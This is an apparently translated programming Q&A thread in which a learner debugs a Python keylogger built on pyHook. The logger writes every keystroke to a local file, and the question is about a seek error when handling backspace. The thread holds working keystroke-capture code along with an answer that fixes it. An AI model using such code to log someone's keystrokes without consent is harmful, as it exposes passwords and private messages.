2017-01-20 46 views
1

由于我目前正在学习Python,因此我偶然发现了一段有趣的YouTube视频,展示了如何构建一个简单的Python键盘记录。我决定稍微修改它,并使其能够在用户按下退格键时删除最后一个字符,所以我添加了一个if语句和seek和truncate方法。当按下退格键(Python)时,键盘记录引发错误

import pyHook, pythoncom, os 

file_log = "D:/Python Projects/log.txt" 


def OnKeyboardEvent(event): 
    global keylog 
    keylog = chr(event.Ascii) 
    with open(file_log, "a") as fl: 
     if event.Ascii == 13: 
      fl.write("\n") 
     elif event.Ascii == 8: 
      fl.seek(-1, os.SEEK_END) 
      fl.truncate() 
     else: 
      fl.write(keylog) 
     fl.close() 
    return True 

hooking = pyHook.HookManager() 
hooking.KeyDown = OnKeyboardEvent 
hooking.HookKeyboard() 
pythoncom.PumpMessages() 

然而,当我尝试运行代码,并在退格键被按下时,我收到以下错误:

io.UnsupportedOperation: can't do nonzero end-relative seeks 

因此,谁能帮助我? 此外,现在键盘记录器将每个字符存储为大写字母。有没有一种方法可以修改脚本来识别角色是低位还是高位字母,并以这种方式进行存储?

+0

看起来你遇到了[这个其他问题]中描述的问题(https://stackoverflow.com/questions/21533391/seeking-from-end-of-file-throwing-unsupported-exception)。 –

+0

你不应该让你的'keylog'全局变量。这没有理由。 – blubberdiblub

回答

-1

试试这个:

if event.Ascii == 8: 
    while event.Ascii == 8 and os.stat(file_log).st_size >= 1: 
     f = open(file_log,'r+') 
     f.seek(-1,2) 
     f.truncate() 
     break 
    else: 
     pass 

感谢为弥敦道指出多余的代码,当有一个空文件按下退格键时引发的错误。我添加了必要的更改。谢谢大家!

+0

错误“seek”后'f.read(0)'如何帮助什么? –

+0

它不,你说得对。我想,以前的努力只剩下了。好的赶上!谢谢! – MiggyDaMic